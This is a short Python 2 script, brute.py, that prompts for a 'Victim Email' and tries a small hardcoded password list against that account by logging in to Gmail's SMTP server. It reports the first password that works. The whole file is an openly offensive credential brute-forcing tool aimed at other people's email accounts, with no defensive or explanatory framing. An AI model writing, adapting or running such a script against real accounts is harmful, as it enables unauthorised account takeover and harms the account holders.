brute.py

import smtplib

gmailServer = smtplib.SMTP('smtp.gmail.com', 587)
gmailServer.ehlo()
gmailServer.starttls()


print '[+] BruteForce [+]'

victimEmail = raw_input('Victim Email: ')
Passwords = ['casper', 'hello',]

for password in Passwords:
    try:
        gmailServer.login(victimEmail, password)
        print "[+] Password Found: %s" % password
        break;
    except smtplib.SMTPAuthenticationError:
        print "[!] Password Incorrect: %s" % password